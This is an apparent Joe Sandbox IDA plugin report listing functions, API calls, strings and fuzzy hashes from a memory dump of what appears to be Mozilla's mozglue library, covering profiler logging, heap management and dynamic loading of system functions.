Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C660E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C660DF8), ref: 6C660E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C660EA1
__Init_thread_footer.LIBCMT ref: 6C660EB5
FreeLibrary.KERNEL32 ref: 6C660EC5

Strings

kernel32.dll, xrefs: 6C660E7D
GetProcessMitigationPolicy, xrefs: 6C660E9B

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction ID: 04721a74647996172587f100570ada726f5cd43541baddcb8b94d007b7167caf
Opcode Fuzzy Hash: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction Fuzzy Hash: 720146747003928BDF008FABEA94BE233B5E746759F104525EA0182F84DB74B406CA1F

Function 6C69F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction ID: 0ca6b029334713368cae37ce8458285ea3134e2d024130434b58c9ec30fc0ab5
Opcode Fuzzy Hash: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction Fuzzy Hash: FFF05475200205AFDF006F668C8895A777DEFCA29DF150415FA0583746DB756806876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625
<jemalloc>, xrefs: 6C6905FA, 6C69060F

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A9FDB
free.MOZGLUE(?,?), ref: 6C6A9FF0
free.MOZGLUE(?,?), ref: 6C6AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6AA0BE
free.MOZGLUE(?,?), ref: 6C6AA0D5
free.MOZGLUE(?,?), ref: 6C6AA0EB

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction ID: d0e3571c2bd200eb6f3ca1635352a3365f6f14c2e9d20bc6a0fda8586db42384
Opcode Fuzzy Hash: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction Fuzzy Hash: E161AF754086019FC711CF58C48059AB3F5FF89328F54866EE8999B702EB32E987CBD5

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 6C69E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E04F

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C69E057

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 2b166ee85250f4a41d121863989f427877e86856b7d0ec1711ab51fac51d1b52
Instruction ID: 6776e6135ab9b708d99987a322afce9bb1f9f19acc909b9fde3328e2bb01d191
Opcode Fuzzy Hash: 2b166ee85250f4a41d121863989f427877e86856b7d0ec1711ab51fac51d1b52
Instruction Fuzzy Hash: E721B074A0010A9FDF009F65D898AAEB7B5BF8A308F140429E90A97740DB31A919C7E9

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

kernel32.dll, xrefs: 6C6B7557
UnmapViewOfFile2, xrefs: 6C6B7552

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770,-00000001,?,6C6CE330,?,6C67BDF7), ref: 6C6BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C67BDF7), ref: 6C6BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C67BDF7), ref: 6C6BA7E4
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA80A

Strings

accelerator.dll, xrefs: 6C6BA7BF

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction ID: 84db9bc2db7f189236c13609ddf8cf80400de71c38a9021371926e3afc495937
Opcode Fuzzy Hash: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction Fuzzy Hash: 8F01ADB07143049FDF04DF5AE8C4C9177B8FB8A355B05806AE90A8B712DB70A810CFAA

Function 6C6B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B748B,?), ref: 6C6B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6B75D7
FreeLibrary.KERNEL32(?,6C6B748B,?), ref: 6C6B75EC

Strings

RtlNtStatusToDosError, xrefs: 6C6B75D1
ntdll.dll, xrefs: 6C6B75B3

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction ID: 599b689ad59f66e73d5d34581d44cd022478ec4cd9cadc224c2f026cf24e048d
Opcode Fuzzy Hash: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction Fuzzy Hash: 8FE0B671600302ABEF006FE3E9C87817AF8EB46359F108425AA15D6650EFB0B452CF5E

Function 6C6B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B7592), ref: 6C6B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C6B7627
FreeLibrary.KERNEL32(?,6C6B7592), ref: 6C6B763C

Strings

NtUnmapViewOfSection, xrefs: 6C6B7621
ntdll.dll, xrefs: 6C6B7603

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction ID: 4077c0c34e0e82244b259c34acabfe4733f0336438e9aebffaac6e4d6d13d704
Opcode Fuzzy Hash: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction Fuzzy Hash: 67E0B6B0600342ABDF106FA7E8887817AB8EB5A399F014515EA05D2750EBB1B4119F5E

Function 6C6BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C6BBE49), ref: 6C6BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C6BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C6BBE49), ref: 6C6BBF38
RtlReAllocateHeap.NTDLL ref: 6C6BBF83
RtlFreeHeap.NTDLL(6C6BBE49,00000000), ref: 6C6BBFA6

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction ID: 41be5e43559ec2933148f037eb97a796bf2ada86dae306781c2001eb55ed4b4d
Opcode Fuzzy Hash: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction Fuzzy Hash: 62517D71B002058FE714CF69CDC0BAAB7A6FFC9314F294629D516A7B94D730F9168B84

Function 6C6A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8EBF
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8F46
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F8F

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
